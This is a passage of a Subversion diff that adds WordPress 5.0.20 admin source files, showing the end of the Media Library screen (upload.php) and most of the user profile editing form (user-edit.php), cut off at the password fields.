+		default:
+			/** This action is documented in wp-admin/edit-comments.php */
+			$location = apply_filters( 'handle_bulk_actions-' . get_current_screen()->id, $location, $doaction, $post_ids );
+	}
+
+	wp_redirect( $location );
+	exit;
+} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
+	 wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+	 exit;
+}
+
+$wp_list_table->prepare_items();
+
+$title = __('Media Library');
+$parent_file = 'upload.php';
+
+wp_enqueue_script( 'media' );
+
+add_screen_option( 'per_page' );
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __( 'All the files you&#8217;ve uploaded are listed in the Media Library, with the most recent uploads listed first. You can use the Screen Options tab to customize the display of this screen.' ) . '</p>' .
+	'<p>' . __( 'You can narrow the list by file type/status or by date using the dropdown menus above the media table.' ) . '</p>' .
+	'<p>' . __( 'You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media.' ) . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'actions-links',
+'title'		=> __('Available Actions'),
+'content'	=>
+	'<p>' . __( 'Hovering over a row reveals action links: Edit, Delete Permanently, and View. Clicking Edit or on the media file&#8217;s name displays a simple screen to edit that individual file&#8217;s metadata. Clicking Delete Permanently will delete the file from the media library (as well as from any posts to which it is currently attached). View will take you to the display page for that file.' ) . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'attaching-files',
+'title'		=> __('Attaching Files'),
+'content'	=>
+	'<p>' . __( 'If a media file has not been attached to any content, you will see that in the Uploaded To column, and can click on Attach to launch a small popup that will allow you to search for existing content and attach the file.' ) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Media_Library_Screen">Documentation on Media Library</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter media items list' ),
+	'heading_pagination' => __( 'Media items list navigation' ),
+	'heading_list'       => __( 'Media items list' ),
+) );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
+
+<?php
+if ( current_user_can( 'upload_files' ) ) { ?>
+	<a href="<?php echo admin_url( 'media-new.php' ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'file' ); ?></a><?php
+}
+
+if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
+	/* translators: %s: search keywords */
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', get_search_query() );
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php
+$message = '';
+if ( ! empty( $_GET['posted'] ) ) {
+	$message = __( 'Media file updated.' );
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('posted'), $_SERVER['REQUEST_URI']);
+}
+
+if ( ! empty( $_GET['attached'] ) && $attached = absint( $_GET['attached'] ) ) {
+	if ( 1 == $attached ) {
+		$message = __( 'Media file attached.' );
+	} else {
+		/* translators: %s: number of media files */
+		$message = _n( '%s media file attached.', '%s media files attached.', $attached );
+	}
+	$message = sprintf( $message, number_format_i18n( $attached ) );
+	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'detach', 'attached' ), $_SERVER['REQUEST_URI'] );
+}
+
+if ( ! empty( $_GET['detach'] ) && $detached = absint( $_GET['detach'] ) ) {
+	if ( 1 == $detached ) {
+		$message = __( 'Media file detached.' );
+	} else {
+		/* translators: %s: number of media files */
+		$message = _n( '%s media file detached.', '%s media files detached.', $detached );
+	}
+	$message = sprintf( $message, number_format_i18n( $detached ) );
+	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'detach', 'attached' ), $_SERVER['REQUEST_URI'] );
+}
+
+if ( ! empty( $_GET['deleted'] ) && $deleted = absint( $_GET['deleted'] ) ) {
+	if ( 1 == $deleted ) {
+		$message = __( 'Media file permanently deleted.' );
+	} else {
+		/* translators: %s: number of media files */
+		$message = _n( '%s media file permanently deleted.', '%s media files permanently deleted.', $deleted );
+	}
+	$message = sprintf( $message, number_format_i18n( $deleted ) );
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('deleted'), $_SERVER['REQUEST_URI']);
+}
+
+if ( ! empty( $_GET['trashed'] ) && $trashed = absint( $_GET['trashed'] ) ) {
+	if ( 1 == $trashed ) {
+		$message = __( 'Media file moved to the trash.' );
+	} else {
+		/* translators: %s: number of media files */
+		$message = _n( '%s media file moved to the trash.', '%s media files moved to the trash.', $trashed );
+	}
+	$message = sprintf( $message, number_format_i18n( $trashed ) );
+	$message .= ' <a href="' . esc_url( wp_nonce_url( 'upload.php?doaction=undo&action=untrash&ids='.(isset($_GET['ids']) ? $_GET['ids'] : ''), "bulk-media" ) ) . '">' . __('Undo') . '</a>';
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('trashed'), $_SERVER['REQUEST_URI']);
+}
+
+if ( ! empty( $_GET['untrashed'] ) && $untrashed = absint( $_GET['untrashed'] ) ) {
+	if ( 1 == $untrashed ) {
+		$message = __( 'Media file restored from the trash.' );
+	} else {
+		/* translators: %s: number of media files */
+		$message = _n( '%s media file restored from the trash.', '%s media files restored from the trash.', $untrashed );
+	}
+	$message = sprintf( $message, number_format_i18n( $untrashed ) );
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('untrashed'), $_SERVER['REQUEST_URI']);
+}
+
+$messages[1] = __( 'Media file updated.' );
+$messages[2] = __( 'Media file permanently deleted.' );
+$messages[3] = __( 'Error saving media file.' );
+$messages[4] = __( 'Media file moved to the trash.' ) . ' <a href="' . esc_url( wp_nonce_url( 'upload.php?doaction=undo&action=untrash&ids='.(isset($_GET['ids']) ? $_GET['ids'] : ''), "bulk-media" ) ) . '">' . __( 'Undo' ) . '</a>';
+$messages[5] = __( 'Media file restored from the trash.' );
+
+if ( ! empty( $_GET['message'] ) && isset( $messages[ $_GET['message'] ] ) ) {
+	$message = $messages[ $_GET['message'] ];
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
+}
+
+if ( !empty($message) ) { ?>
+<div id="message" class="updated notice is-dismissible"><p><?php echo $message; ?></p></div>
+<?php } ?>
+
+<form id="posts-filter" method="get">
+
+<?php $wp_list_table->views(); ?>
+
+<?php $wp_list_table->display(); ?>
+
+<div id="ajax-response"></div>
+<?php find_posts_div(); ?>
+</form>
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/user-edit.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user-edit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user-edit.php	(revision 56912)
@@ -0,0 +1,725 @@
+<?php
+/**
+ * Edit user administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_reset_vars( array( 'action', 'user_id', 'wp_http_referer' ) );
+
+$user_id = (int) $user_id;
+$current_user = wp_get_current_user();
+if ( ! defined( 'IS_PROFILE_PAGE' ) )
+	define( 'IS_PROFILE_PAGE', ( $user_id == $current_user->ID ) );
+
+if ( ! $user_id && IS_PROFILE_PAGE )
+	$user_id = $current_user->ID;
+elseif ( ! $user_id && ! IS_PROFILE_PAGE )
+	wp_die(__( 'Invalid user ID.' ) );
+elseif ( ! get_userdata( $user_id ) )
+	wp_die( __('Invalid user ID.') );
+
+wp_enqueue_script('user-profile');
+
+if ( IS_PROFILE_PAGE ) {
+	$title = __( 'Profile' );
+} else {
+	/* translators: %s: user's display name */
+	$title = __( 'Edit User %s' );
+}
+
+if ( current_user_can('edit_users') && !IS_PROFILE_PAGE )
+	$submenu_file = 'users.php';
+else
+	$submenu_file = 'profile.php';
+
+if ( current_user_can('edit_users') && !is_user_admin() )
+	$parent_file = 'users.php';
+else
+	$parent_file = 'profile.php';
+
+$profile_help = '<p>' . __('Your profile contains information about you (your &#8220;account&#8221;) as well as some personal options related to using WordPress.') . '</p>' .
+	'<p>' . __('You can change your password, turn on keyboard shortcuts, change the color scheme of your WordPress administration screens, and turn off the WYSIWYG (Visual) editor, among other things. You can hide the Toolbar (formerly called the Admin Bar) from the front end of your site, however it cannot be disabled on the admin screens.') . '</p>' .
+	'<p>' . __( 'You can select the language you wish to use while using the WordPress administration screen without affecting the language site visitors see.' ) . '</p>' .
+	'<p>' . __('Your username cannot be changed, but you can use other fields to enter your real name or a nickname, and change which name to display on your posts.') . '</p>' .
+	'<p>' . __( 'You can log out of other devices, such as your phone or a public computer, by clicking the Log Out Everywhere Else button.' ) . '</p>' .
+	'<p>' . __('Required fields are indicated; the rest are optional. Profile information will only be displayed if your theme is set up to do so.') . '</p>' .
+	'<p>' . __('Remember to click the Update Profile button when you are finished.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $profile_help,
+) );
+
+get_current_screen()->set_help_sidebar(
+    '<p><strong>' . __('For more information:') . '</strong></p>' .
+    '<p>' . __('<a href="https://codex.wordpress.org/Users_Your_Profile_Screen">Documentation on User Profiles</a>') . '</p>' .
+    '<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+$wp_http_referer = remove_query_arg( array( 'update', 'delete_count', 'user_id' ), $wp_http_referer );
+
+$user_can_edit = current_user_can( 'edit_posts' ) || current_user_can( 'edit_pages' );
+
+/**
+ * Filters whether to allow administrators on Multisite to edit every user.
+ *
+ * Enabling the user editing form via this filter also hinges on the user holding
+ * the 'manage_network_users' cap, and the logged-in user not matching the user
+ * profile open for editing.
+ *
+ * The filter was introduced to replace the EDIT_ANY_USER constant.
+ *
+ * @since 3.0.0
+ *
+ * @param bool $allow Whether to allow editing of any user. Default true.
+ */
+if ( is_multisite()
+	&& ! current_user_can( 'manage_network_users' )
+	&& $user_id != $current_user->ID
+	&& ! apply_filters( 'enable_edit_any_user_configuration', true )
+) {
+	wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
+}
+
+// Execute confirmed email change. See send_confirmation_on_profile_email().
+if ( IS_PROFILE_PAGE && isset( $_GET[ 'newuseremail' ] ) && $current_user->ID ) {
+	$new_email = get_user_meta( $current_user->ID, '_new_email', true );
+	if ( $new_email && hash_equals( $new_email[ 'hash' ], $_GET[ 'newuseremail' ] ) ) {
+		$user = new stdClass;
+		$user->ID = $current_user->ID;
+		$user->user_email = esc_html( trim( $new_email[ 'newemail' ] ) );
+		if ( is_multisite() && $wpdb->get_var( $wpdb->prepare( "SELECT user_login FROM {$wpdb->signups} WHERE user_login = %s", $current_user->user_login ) ) ) {
+			$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->signups} SET user_email = %s WHERE user_login = %s", $user->user_email, $current_user->user_login ) );
+		}
+		wp_update_user( $user );
+		delete_user_meta( $current_user->ID, '_new_email' );
+		wp_redirect( add_query_arg( array( 'updated' => 'true' ), self_admin_url( 'profile.php' ) ) );
+		die();
+	} else {
+		wp_redirect( add_query_arg( array( 'error' => 'new-email' ), self_admin_url( 'profile.php' ) ) );
+	}
+} elseif ( IS_PROFILE_PAGE && ! empty( $_GET['dismiss'] ) && $current_user->ID . '_new_email' === $_GET['dismiss'] ) {
+	check_admin_referer( 'dismiss-' . $current_user->ID . '_new_email' );
+	delete_user_meta( $current_user->ID, '_new_email' );
+	wp_redirect( add_query_arg( array('updated' => 'true'), self_admin_url( 'profile.php' ) ) );
+	die();
+}
+
+switch ($action) {
+case 'update':
+
+check_admin_referer('update-user_' . $user_id);
+
+if ( !current_user_can('edit_user', $user_id) )
+	wp_die(__('Sorry, you are not allowed to edit this user.'));
+
+if ( IS_PROFILE_PAGE ) {
+	/**
+	 * Fires before the page loads on the 'Your Profile' editing screen.
+	 *
+	 * The action only fires if the current user is editing their own profile.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int $user_id The user ID.
+	 */
+	do_action( 'personal_options_update', $user_id );
+} else {
+	/**
+	 * Fires before the page loads on the 'Edit User' screen.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param int $user_id The user ID.
+	 */
+	do_action( 'edit_user_profile_update', $user_id );
+}
+
+// Update the email address in signups, if present.
+if ( is_multisite() ) {
+	$user = get_userdata( $user_id );
+
+	if ( $user->user_login && isset( $_POST[ 'email' ] ) && is_email( $_POST[ 'email' ] ) && $wpdb->get_var( $wpdb->prepare( "SELECT user_login FROM {$wpdb->signups} WHERE user_login = %s", $user->user_login ) ) ) {
+		$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->signups} SET user_email = %s WHERE user_login = %s", $_POST[ 'email' ], $user_login ) );
+	}
+}
+
+// Update the user.
+$errors = edit_user( $user_id );
+
+// Grant or revoke super admin status if requested.
+if ( is_multisite() && is_network_admin() && !IS_PROFILE_PAGE && current_user_can( 'manage_network_options' ) && !isset($super_admins) && empty( $_POST['super_admin'] ) == is_super_admin( $user_id ) ) {
+	empty( $_POST['super_admin'] ) ? revoke_super_admin( $user_id ) : grant_super_admin( $user_id );
+}
+
+if ( !is_wp_error( $errors ) ) {
+	$redirect = add_query_arg( 'updated', true, get_edit_user_link( $user_id ) );
+	if ( $wp_http_referer )
+		$redirect = add_query_arg('wp_http_referer', urlencode($wp_http_referer), $redirect);
+	wp_redirect($redirect);
+	exit;
+}
+
+default:
+$profileuser = get_user_to_edit($user_id);
+
+if ( !current_user_can('edit_user', $user_id) )
+	wp_die(__('Sorry, you are not allowed to edit this user.'));
+
+$title = sprintf( $title, $profileuser->display_name );
+$sessions = WP_Session_Tokens::get_instance( $profileuser->ID );
+
+include(ABSPATH . 'wp-admin/admin-header.php');
+?>
+
+<?php if ( !IS_PROFILE_PAGE && is_super_admin( $profileuser->ID ) && current_user_can( 'manage_network_options' ) ) { ?>
+	<div class="notice notice-info"><p><strong><?php _e('Important:'); ?></strong> <?php _e('This user has super admin privileges.'); ?></p></div>
+<?php } ?>
+<?php if ( isset($_GET['updated']) ) : ?>
+<div id="message" class="updated notice is-dismissible">
+	<?php if ( IS_PROFILE_PAGE ) : ?>
+	<p><strong><?php _e('Profile updated.') ?></strong></p>
+	<?php else: ?>
+	<p><strong><?php _e('User updated.') ?></strong></p>
+	<?php endif; ?>
+	<?php if ( $wp_http_referer && false === strpos( $wp_http_referer, 'user-new.php' ) && ! IS_PROFILE_PAGE ) : ?>
+	<p><a href="<?php echo esc_url( wp_validate_redirect( esc_url_raw( $wp_http_referer ), self_admin_url( 'users.php' ) ) ); ?>"><?php _e('&larr; Back to Users'); ?></a></p>
+	<?php endif; ?>
+</div>
+<?php endif; ?>
+<?php if ( isset( $_GET['error'] ) ) : ?>
+<div class="notice notice-error">
+	<?php if ( 'new-email' == $_GET['error'] ) : ?>
+	<p><?php _e( 'Error while saving the new email address. Please try again.' ); ?></p>
+	<?php endif; ?>
+</div>
+<?php endif; ?>
+<?php if ( isset( $errors ) && is_wp_error( $errors ) ) : ?>
+<div class="error"><p><?php echo implode( "</p>\n<p>", $errors->get_error_messages() ); ?></p></div>
+<?php endif; ?>
+
+<div class="wrap" id="profile-page">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<?php
+if ( ! IS_PROFILE_PAGE ) {
+	if ( current_user_can( 'create_users' ) ) { ?>
+		<a href="user-new.php" class="page-title-action"><?php echo esc_html_x( 'Add New', 'user' ); ?></a>
+	<?php } elseif ( is_multisite() && current_user_can( 'promote_users' ) ) { ?>
+		<a href="user-new.php" class="page-title-action"><?php echo esc_html_x( 'Add Existing', 'user' ); ?></a>
+	<?php }
+}
+?>
+
+<hr class="wp-header-end">
+
+<form id="your-profile" action="<?php echo esc_url( self_admin_url( IS_PROFILE_PAGE ? 'profile.php' : 'user-edit.php' ) ); ?>" method="post" novalidate="novalidate"<?php
+	/**
+	 * Fires inside the your-profile form tag on the user editing screen.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'user_edit_form_tag' );
+?>>
+<?php wp_nonce_field('update-user_' . $user_id) ?>
+<?php if ( $wp_http_referer ) : ?>
+	<input type="hidden" name="wp_http_referer" value="<?php echo esc_url($wp_http_referer); ?>" />
+<?php endif; ?>
+<p>
+<input type="hidden" name="from" value="profile" />
+<input type="hidden" name="checkuser_id" value="<?php echo get_current_user_id(); ?>" />
+</p>
+
+<h2><?php _e( 'Personal Options' ); ?></h2>
+
+<table class="form-table">
+<?php if ( ! ( IS_PROFILE_PAGE && ! $user_can_edit ) ) : ?>
+	<tr class="user-rich-editing-wrap">
+		<th scope="row"><?php _e( 'Visual Editor' ); ?></th>
+		<td><label for="rich_editing"><input name="rich_editing" type="checkbox" id="rich_editing" value="false" <?php if ( ! empty( $profileuser->rich_editing ) ) checked( 'false', $profileuser->rich_editing ); ?> /> <?php _e( 'Disable the visual editor when writing' ); ?></label></td>
+	</tr>
+<?php endif; ?>
+<?php
+$show_syntax_highlighting_preference = (
+	// For Custom HTML widget and Additional CSS in Customizer.
+	user_can( $profileuser, 'edit_theme_options' )
+	||
+	// Edit plugins.
+	user_can( $profileuser, 'edit_plugins' )
+	||
+	// Edit themes.
+	user_can( $profileuser, 'edit_themes' )
+);
+?>
+<?php if ( $show_syntax_highlighting_preference ) : ?>
+	<tr class="user-syntax-highlighting-wrap">
+		<th scope="row"><?php _e( 'Syntax Highlighting' ); ?></th>
+		<td>
+			<label for="syntax_highlighting"><input name="syntax_highlighting" type="checkbox" id="syntax_highlighting" value="false" <?php if ( ! empty( $profileuser->syntax_highlighting ) ) checked( 'false', $profileuser->syntax_highlighting ); ?> /> <?php _e( 'Disable syntax highlighting when editing code' ); ?></label>
+		</td>
+	</tr>
+<?php endif; ?>
+<?php if ( count($_wp_admin_css_colors) > 1 && has_action('admin_color_scheme_picker') ) : ?>
+<tr class="user-admin-color-wrap">
+<th scope="row"><?php _e('Admin Color Scheme')?></th>
+<td><?php
+	/**
+	 * Fires in the 'Admin Color Scheme' section of the user editing screen.
+	 *
+	 * The section is only enabled if a callback is hooked to the action,
+	 * and if there is more than one defined color scheme for the admin.
+	 *
+	 * @since 3.0.0
+	 * @since 3.8.1 Added `$user_id` parameter.
+	 *
+	 * @param int $user_id The user ID.
+	 */
+	do_action( 'admin_color_scheme_picker', $user_id );
+?></td>
+</tr>
+<?php
+endif; // $_wp_admin_css_colors
+if ( !( IS_PROFILE_PAGE && !$user_can_edit ) ) : ?>
+<tr class="user-comment-shortcuts-wrap">
+<th scope="row"><?php _e( 'Keyboard Shortcuts' ); ?></th>
+<td><label for="comment_shortcuts"><input type="checkbox" name="comment_shortcuts" id="comment_shortcuts" value="true" <?php if ( ! empty( $profileuser->comment_shortcuts ) ) checked( 'true', $profileuser->comment_shortcuts ); ?> /> <?php _e('Enable keyboard shortcuts for comment moderation.'); ?></label> <?php _e('<a href="https://codex.wordpress.org/Keyboard_Shortcuts" target="_blank">More information</a>'); ?></td>
+</tr>
+<?php endif; ?>
+<tr class="show-admin-bar user-admin-bar-front-wrap">
+<th scope="row"><?php _e( 'Toolbar' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Toolbar') ?></span></legend>
+<label for="admin_bar_front">
+<input name="admin_bar_front" type="checkbox" id="admin_bar_front" value="1"<?php checked( _get_admin_bar_pref( 'front', $profileuser->ID ) ); ?> />
+<?php _e( 'Show Toolbar when viewing site' ); ?></label><br />
+</fieldset>
+</td>
+</tr>
+
+<?php
+$languages = get_available_languages();
+if ( $languages ) : ?>
+<tr class="user-language-wrap">
+	<th scope="row">
+		<?php /* translators: The user language selection field label */ ?>
+		<label for="locale"><?php _e( 'Language' ); ?></label>
+	</th>
+	<td>
+		<?php
+		$user_locale = $profileuser->locale;
+
+		if ( 'en_US' === $user_locale ) {
+			$user_locale = '';
+		} elseif ( '' === $user_locale || ! in_array( $user_locale, $languages, true ) ) {
+			$user_locale = 'site-default';
+		}
+
+		wp_dropdown_languages( array(
+			'name'                        => 'locale',
+			'id'                          => 'locale',
+			'selected'                    => $user_locale,
+			'languages'                   => $languages,
+			'show_available_translations' => false,
+			'show_option_site_default'    => true
+		) );
+		?>
+	</td>
+</tr>
+<?php
+endif;
+?>
+
+<?php
+/**
+ * Fires at the end of the 'Personal Options' settings table on the user editing screen.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_User $profileuser The current WP_User object.
+ */
+do_action( 'personal_options', $profileuser );
+?>
+
+</table>
+<?php
+	if ( IS_PROFILE_PAGE ) {
+		/**
+		 * Fires after the 'Personal Options' settings table on the 'Your Profile' editing screen.
+		 *
+		 * The action only fires if the current user is editing their own profile.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param WP_User $profileuser The current WP_User object.
+		 */
+		do_action( 'profile_personal_options', $profileuser );
+	}
+?>
+
+<h2><?php _e( 'Name' ); ?></h2>
+
+<table class="form-table">
+	<tr class="user-user-login-wrap">
+		<th><label for="user_login"><?php _e('Username'); ?></label></th>
+		<td><input type="text" name="user_login" id="user_login" value="<?php echo esc_attr($profileuser->user_login); ?>" disabled="disabled" class="regular-text" /> <span class="description"><?php _e('Usernames cannot be changed.'); ?></span></td>
+	</tr>
+
+<?php if ( !IS_PROFILE_PAGE && !is_network_admin() ) : ?>
+<tr class="user-role-wrap"><th><label for="role"><?php _e('Role') ?></label></th>
+<td><select name="role" id="role">
+<?php
+// Compare user role against currently editable roles
+$user_roles = array_intersect( array_values( $profileuser->roles ), array_keys( get_editable_roles() ) );
+$user_role  = reset( $user_roles );
+
+// print the full list of roles with the primary one selected.
+wp_dropdown_roles($user_role);
+
+// print the 'no role' option. Make it selected if the user has no role yet.
+if ( $user_role )
+	echo '<option value="">' . __('&mdash; No role for this site &mdash;') . '</option>';
+else
+	echo '<option value="" selected="selected">' . __('&mdash; No role for this site &mdash;') . '</option>';
+?>
+</select></td></tr>
+<?php endif; //!IS_PROFILE_PAGE
+
+if ( is_multisite() && is_network_admin() && ! IS_PROFILE_PAGE && current_user_can( 'manage_network_options' ) && !isset($super_admins) ) { ?>
+<tr class="user-super-admin-wrap"><th><?php _e('Super Admin'); ?></th>
+<td>
+<?php if ( $profileuser->user_email != get_site_option( 'admin_email' ) || ! is_super_admin( $profileuser->ID ) ) : ?>
+<p><label><input type="checkbox" id="super_admin" name="super_admin"<?php checked( is_super_admin( $profileuser->ID ) ); ?> /> <?php _e( 'Grant this user super admin privileges for the Network.' ); ?></label></p>
+<?php else : ?>
+<p><?php _e( 'Super admin privileges cannot be removed because this user has the network admin email.' ); ?></p>
+<?php endif; ?>
+</td></tr>
+<?php } ?>
+
+<tr class="user-first-name-wrap">
+	<th><label for="first_name"><?php _e('First Name') ?></label></th>
+	<td><input type="text" name="first_name" id="first_name" value="<?php echo esc_attr($profileuser->first_name) ?>" class="regular-text" /></td>
+</tr>
+
+<tr class="user-last-name-wrap">
+	<th><label for="last_name"><?php _e('Last Name') ?></label></th>
+	<td><input type="text" name="last_name" id="last_name" value="<?php echo esc_attr($profileuser->last_name) ?>" class="regular-text" /></td>
+</tr>
+
+<tr class="user-nickname-wrap">
+	<th><label for="nickname"><?php _e('Nickname'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+	<td><input type="text" name="nickname" id="nickname" value="<?php echo esc_attr($profileuser->nickname) ?>" class="regular-text" /></td>
+</tr>
+
+<tr class="user-display-name-wrap">
+	<th><label for="display_name"><?php _e('Display name publicly as') ?></label></th>
+	<td>
+		<select name="display_name" id="display_name">
+		<?php
+			$public_display = array();
+			$public_display['display_nickname']  = $profileuser->nickname;
+			$public_display['display_username']  = $profileuser->user_login;
+
+			if ( !empty($profileuser->first_name) )
+				$public_display['display_firstname'] = $profileuser->first_name;
+
+			if ( !empty($profileuser->last_name) )
+				$public_display['display_lastname'] = $profileuser->last_name;
+
+			if ( !empty($profileuser->first_name) && !empty($profileuser->last_name) ) {
+				$public_display['display_firstlast'] = $profileuser->first_name . ' ' . $profileuser->last_name;
+				$public_display['display_lastfirst'] = $profileuser->last_name . ' ' . $profileuser->first_name;
+			}
+
+			if ( !in_array( $profileuser->display_name, $public_display ) ) // Only add this if it isn't duplicated elsewhere
+				$public_display = array( 'display_displayname' => $profileuser->display_name ) + $public_display;
+
+			$public_display = array_map( 'trim', $public_display );
+			$public_display = array_unique( $public_display );
+
+			foreach ( $public_display as $id => $item ) {
+		?>
+			<option <?php selected( $profileuser->display_name, $item ); ?>><?php echo $item; ?></option>
+		<?php
+			}
+		?>
+		</select>
+	</td>
+</tr>
+</table>
+
+<h2><?php _e( 'Contact Info' ); ?></h2>
+
+<table class="form-table">
+<tr class="user-email-wrap">
+	<th><label for="email"><?php _e('Email'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+	<td><input type="email" name="email" id="email" value="<?php echo esc_attr( $profileuser->user_email ) ?>" class="regular-text ltr" />
+	<?php
+	$new_email = get_user_meta( $current_user->ID, '_new_email', true );
+	if ( $new_email && $new_email['newemail'] != $current_user->user_email && $profileuser->ID == $current_user->ID ) : ?>
+	<div class="updated inline">
+	<p><?php
+		printf(
+			/* translators: %s: new email */
+			__( 'There is a pending change of your email to %s.' ),
+			'<code>' . esc_html( $new_email['newemail'] ) . '</code>'
+		);
+		printf(
+			' <a href="%1$s">%2$s</a>',
+			esc_url( wp_nonce_url( self_admin_url( 'profile.php?dismiss=' . $current_user->ID . '_new_email' ), 'dismiss-' . $current_user->ID . '_new_email' ) ),
+			__( 'Cancel' )
+		);
+	?></p>
+	</div>
+	<?php endif; ?>
+	</td>
+</tr>
+
+<tr class="user-url-wrap">
+	<th><label for="url"><?php _e('Website') ?></label></th>
+	<td><input type="url" name="url" id="url" value="<?php echo esc_attr( $profileuser->user_url ) ?>" class="regular-text code" /></td>
+</tr>
+
+<?php
+	foreach ( wp_get_user_contact_methods( $profileuser ) as $name => $desc ) {
+?>
+<tr class="user-<?php echo $name; ?>-wrap">
+	<th><label for="<?php echo $name; ?>">
+		<?php
+		/**
+		 * Filters a user contactmethod label.
+		 *
+		 * The dynamic portion of the filter hook, `$name`, refers to
+		 * each of the keys in the contactmethods array.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $desc The translatable label for the contactmethod.
+		 */
+		echo apply_filters( "user_{$name}_label", $desc );
+		?>
+	</label></th>
+	<td><input type="text" name="<?php echo $name; ?>" id="<?php echo $name; ?>" value="<?php echo esc_attr($profileuser->$name) ?>" class="regular-text" /></td>
+</tr>
+<?php
+	}
+?>
+</table>
+
+<h2><?php IS_PROFILE_PAGE ? _e( 'About Yourself' ) : _e( 'About the user' ); ?></h2>
+
+<table class="form-table">
+<tr class="user-description-wrap">
+	<th><label for="description"><?php _e('Biographical Info'); ?></label></th>
+	<td><textarea name="description" id="description" rows="5" cols="30"><?php echo $profileuser->description; // textarea_escaped ?></textarea>
+	<p class="description"><?php _e('Share a little biographical information to fill out your profile. This may be shown publicly.'); ?></p></td>
+</tr>
+
+<?php if ( get_option( 'show_avatars' ) ) : ?>
+<tr class="user-profile-picture">
+	<th><?php _e( 'Profile Picture' ); ?></th>
+	<td>
+		<?php echo get_avatar( $user_id ); ?>
+		<p class="description"><?php
+			if ( IS_PROFILE_PAGE ) {
+				/* translators: %s: Gravatar URL */
+				$description = sprintf( __( 'You can change your profile picture on <a href="%s">Gravatar</a>.' ),
+					__( 'https://en.gravatar.com/' )
+				);
+			} else {
+				$description = '';
+			}
+
+			/**
+			 * Filters the user profile picture description displayed under the Gravatar.
+			 *
+			 * @since 4.4.0
+			 * @since 4.7.0 Added the `$profileuser` parameter.
+			 *
+			 * @param string  $description The description that will be printed.
+			 * @param WP_User $profileuser The current WP_User object.
+			 */
+			echo apply_filters( 'user_profile_picture_description', $description, $profileuser );
+		?></p>
+	</td>
+</tr>
+<?php endif; ?>
+
+<?php
+/**
+ * Filters the display of the password fields.
+ *
+ * @since 1.5.1
+ * @since 2.8.0 Added the `$profileuser` parameter.
+ * @since 4.4.0 Now evaluated only in user-edit.php.
+ *
+ * @param bool    $show        Whether to show the password fields. Default true.
+ * @param WP_User $profileuser User object for the current user to edit.
+ */
+if ( $show_password_fields = apply_filters( 'show_password_fields', true, $profileuser ) ) :
+?>
+</table>
+
+<h2><?php _e( 'Account Management' ); ?></h2>
+<table class="form-table">
+<tr id="password" class="user-pass1-wrap">
+	<th><label for="pass1"><?php _e( 'New Password' ); ?></label></th>
+	<td>
+		<input class="hidden" value=" " /><!-- #24364 workaround -->
+		<button type="button" class="button wp-generate-pw hide-if-no-js"><?php _e( 'Generate Password' ); ?></button>
+		<div class="wp-pwd hide-if-js">
+			<span class="password-input-wrapper">
+				<input type="password" name="pass1" id="pass1" class="regular-text" value="" autocomplete="off" data-pw="<?php echo esc_attr( wp_generate_password( 24 ) ); ?>" aria-describedby="pass-strength-result" />
+			</span>
+			<button type="button" class="button wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
+				<span class="dashicons dashicons-hidden"></span>
+				<span class="text"><?php _e( 'Hide' ); ?></span>
+			</button>
+			<button type="button" class="button wp-cancel-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Cancel password change' ); ?>">
+				<span class="text"><?php _e( 'Cancel' ); ?></span>
+			</button>
+			<div style="display:none" id="pass-strength-result" aria-live="polite"></div>
+		</div>
+	</td>
+</tr>
+<tr class="user-pass2-wrap hide-if-js">
